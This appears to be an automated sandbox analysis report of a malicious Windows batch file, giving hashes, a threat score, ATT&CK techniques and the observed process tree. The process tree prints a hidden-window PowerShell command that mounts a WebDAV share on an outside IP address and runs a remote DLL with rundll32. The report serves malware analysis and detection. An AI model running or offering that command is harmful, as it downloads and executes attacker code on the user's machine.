6426717b029f7817745ef34538e3b6cd51f9be1d5627aa70af8a7fc2afc7a2fe

Analysis

max time kernel
106s
max time network
125s
platform
windows10-2004_x64
resource
win10v2004-20240709-en
resource tags

arch:x64arch:x86image:win10v2004-20240709-enlocale:en-usos:windows10-2004-x64system
submitted
15-07-2024 05:40

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General

Target

1251228339113827072.bat
Size

2KB
MD5

b3f8cb64ab58ca6fabb412ccd44165c8
SHA1

c3be995674a805c3c8746766d159e602bb3840ab
SHA256

6426717b029f7817745ef34538e3b6cd51f9be1d5627aa70af8a7fc2afc7a2fe
SHA512

af83e54337f18da86c2a5efa5c016d450b8ab1c7789cacca54c9be7a0237ac018c6930ecbd6a31f50ca92757607d05bf057eefa05fdef55895c87d07ff6899d1

Score

8^/10

execution

Malware Config

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
1864	powershell.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-1176886754-713327781-2233697964-1000\Control Panel\International\Geo\Nation	cmd.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082
Runs net.exe

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
1864	powershell.exe
1864	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	1864	powershell.exe

Suspicious use of SetWindowsHookEx 5 IoCs

pid	Process
4372	wordpad.exe
4372	wordpad.exe
4372	wordpad.exe
4372	wordpad.exe
4372	wordpad.exe

Suspicious use of WriteProcessMemory 8 IoCs

description	pid	Process	procid_target
PID 4524 wrote to memory of 4372	4524	cmd.exe	85
PID 4524 wrote to memory of 4372	4524	cmd.exe	85
PID 4524 wrote to memory of 1864	4524	cmd.exe	87
PID 4524 wrote to memory of 1864	4524	cmd.exe	87
PID 1864 wrote to memory of 2188	1864	powershell.exe	89
PID 1864 wrote to memory of 2188	1864	powershell.exe	89
PID 1864 wrote to memory of 212	1864	powershell.exe	90
PID 1864 wrote to memory of 212	1864	powershell.exe	90

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\1251228339113827072.bat"
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:4524
- C:\Program Files\Windows NT\Accessories\wordpad.exe
  "C:\Program Files\Windows NT\Accessories\wordpad.exe"
  2⤵
  - Suspicious use of SetWindowsHookEx
  PID:4372
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -windowstyle hidden net use \\45.9.74.32@8888\davwwwroot\ ; rundll32 \\45.9.74.32@8888\davwwwroot\1592.dll,entry
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:1864
- - C:\Windows\system32\net.exe
    "C:\Windows\system32\net.exe" use \\45.9.74.32@8888\davwwwroot\
    3⤵
    PID:2188
- - C:\Windows\system32\rundll32.exe
    "C:\Windows\system32\rundll32.exe" \\45.9.74.32@8888\davwwwroot\1592.dll,entry
    3⤵
    PID:212

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k PrintWorkflow -s PrintWorkflowUserSvc
1⤵
PID:376

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_v3sj1iei.3zm.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/1864-5-0x000001393B8F0000-0x000001393B912000-memory.dmp

Filesize
136KB

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